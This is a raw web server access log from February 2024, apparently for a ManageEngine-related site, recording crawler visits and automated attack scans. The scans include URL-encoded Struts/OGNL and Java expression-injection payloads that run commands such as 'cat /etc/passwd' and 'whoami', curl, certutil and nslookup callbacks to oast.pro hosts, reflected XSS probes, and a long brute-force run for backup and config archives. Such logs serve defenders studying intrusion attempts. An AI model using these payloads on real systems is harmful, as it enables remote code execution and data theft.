220.181.108.84 - - [04/Feb/2024:05:17:04 +0000] "GET /cli/cliapihelpdoc2_0.zip HTTP/1.1" 301 486 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 0 - 5.2.192.229 - - [04/Feb/2024:05:44:25 +0000] "HEAD /simulator/40763485/WebNMS_Simulation_Toolkit_Windows64.exe HTTP/1.0" 404 3891 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" 0 - 45.129.56.226 - - [04/Feb/2024:06:30:28 +0000] "GET /scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 301 4315 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 45.129.56.226 - - [04/Feb/2024:06:30:29 +0000] "GET /scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 301 4323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:06:52:40 +0000] "GET /cgi-bin/GetSrvInfo.exe HTTP/1.1" 301 4203 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:07:30:32 +0000] "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36" 4 - 121.244.91.20 - - [04/Feb/2024:07:33:07 +0000] "GET /bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\"> HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 4 - 102.37.141.247 - - [04/Feb/2024:07:35:14 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 301 4331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:07:43:03 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 301 4331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:08:09:50 +0000] "GET /Schemas/$%7B%27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance%28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 4 - 121.244.91.20 - - [04/Feb/2024:08:13:04 +0000] "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22curl%20http://cmvj3qv9v1pqrv900df0j1aynoyzqqzw5.oast.pro%22%29%7D__::.x/ HTTP/1.1" 301 4472 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:08:13:07 +0000] "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22certutil%20-urlcache%20-split%20-f%20http://cmvj3qv9v1pqrv900df04t64dk8q3pm9h.oast.pro%22%29%7D__::.x/ HTTP/1.1" 301 4532 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 121.244.91.20 - - [04/Feb/2024:08:49:53 +0000] "GET /OA_CGI/FNDWRR.exe HTTP/1.1" 301 4193 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:08:54:09 +0000] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 4 - 121.244.91.20 - - [04/Feb/2024:08:54:17 +0000] "GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20cmvj3qv9v1pqrv900df0e8wr9me6pxmsd.oast.pro%22%29%7D/ HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 4 - 121.244.91.20 - - [04/Feb/2024:09:02:41 +0000] "GET /scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 301 4315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:09:02:45 +0000] "GET /scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 301 4323 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:10:46:12 +0000] "GET /config.inc.php.zip HTTP/1.1" 301 4195 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:10:46:59 +0000] "GET /web.config.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:10:48:17 +0000] "GET /config.inc.php.zip HTTP/1.1" 301 4195 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:10:49:03 +0000] "GET /web.config.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:11:22:27 +0000] "GET /__nuxt_vite_node__/module/C:/Windows/System32/calc.exe HTTP/1.1" 301 4267 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 157.245.14.88 - - [04/Feb/2024:11:51:38 +0000] "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 4 - 157.245.14.88 - - [04/Feb/2024:11:51:39 +0000] "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14" 4 - 157.245.14.88 - - [04/Feb/2024:12:00:38 +0000] "GET /bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\"> HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" 4 - 157.245.14.88 - - [04/Feb/2024:12:00:39 +0000] "GET /bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\"> HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.42" 4 - 121.244.91.20 - - [04/Feb/2024:12:26:19 +0000] "GET /config.php.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 157.245.14.88 - - [04/Feb/2024:12:32:21 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 301 4331 "-" "Mozilla/5.0 (X11; Linux x86_64; en-GB) Gecko/20071214 Firefox/108.0" 0 - 157.245.14.88 - - [04/Feb/2024:12:32:21 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 301 4331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" 0 - 40.77.167.59 - - [04/Feb/2024:16:37:25 +0000] "GET /telecom/syslog/AdventNet_Web_NMS_5_0_Syslog_Monitoring.ppm HTTP/1.1" 404 4276 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 0 + 121.244.91.20 - - [04/Feb/2024:17:53:17 +0000] "GET /cdnintus4.manageengine.com.zip HTTP/1.1" 301 4219 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:18 +0000] "GET /manageengine.com.zip HTTP/1.1" 301 4199 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:19 +0000] "GET /manageengine.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:20 +0000] "GET /cdnintus4.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:21 +0000] "GET /2024.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:23 +0000] "GET /ROOT.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:24 +0000] "GET /wwwroot.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:25 +0000] "GET /htdocs.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:26 +0000] "GET /www.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:27 +0000] "GET /html.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:28 +0000] "GET /web.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:29 +0000] "GET /webapps.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:30 +0000] "GET /public.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:32 +0000] "GET /public_html.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:33 +0000] "GET /uploads.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:34 +0000] "GET /website.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:35 +0000] "GET /api.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:36 +0000] "GET /test.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:37 +0000] "GET /app.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:38 +0000] "GET /backup.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:40 +0000] "GET /backup_1.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:41 +0000] "GET /backup_2.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:42 +0000] "GET /backup_3.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:43 +0000] "GET /backup_4.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:44 +0000] "GET /backups.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:45 +0000] "GET /bin.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:46 +0000] "GET /temp.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:47 +0000] "GET /bak.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:49 +0000] "GET /old.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:50 +0000] "GET /db.zip HTTP/1.1" 301 4171 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:51 +0000] "GET /sql.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:52 +0000] "GET /dump.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:53 +0000] "GET /database.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:54 +0000] "GET /Release.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:55 +0000] "GET /inetpub.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:56 +0000] "GET /temp.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:58 +0000] "GET /package.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:53:59 +0000] "GET /tmp.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:00 +0000] "GET /db.zip HTTP/1.1" 301 4171 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:01 +0000] "GET /data.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:02 +0000] "GET /database.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:03 +0000] "GET /ftp.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:04 +0000] "GET /output.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:05 +0000] "GET /admin.zip HTTP/1.1" 301 4177 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:07 +0000] "GET /upload.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:08 +0000] "GET /src.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:09 +0000] "GET /conf/conf.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 0 - 121.244.91.20 - - [04/Feb/2024:17:54:10 +0000] "GET /old.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:18 +0000] "GET /cdnintus4.manageengine.com.sql.zip HTTP/1.1" 301 4227 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:19 +0000] "GET /manageengine.com.sql.zip HTTP/1.1" 301 4207 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:20 +0000] "GET /manageengine.sql.zip HTTP/1.1" 301 4199 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:21 +0000] "GET /cdnintus4.sql.zip HTTP/1.1" 301 4193 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:22 +0000] "GET /2024.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:23 +0000] "GET /ROOT.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:25 +0000] "GET /wwwroot.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:26 +0000] "GET /htdocs.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:27 +0000] "GET /www.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:28 +0000] "GET /html.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:30 +0000] "GET /web.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:31 +0000] "GET /webapps.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:32 +0000] "GET /public.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:33 +0000] "GET /public_html.sql.zip HTTP/1.1" 301 4197 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:35 +0000] "GET /uploads.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:36 +0000] "GET /website.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:37 +0000] "GET /api.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:38 +0000] "GET /test.sql.zip HTTP/1.1" 301 4183 "-" 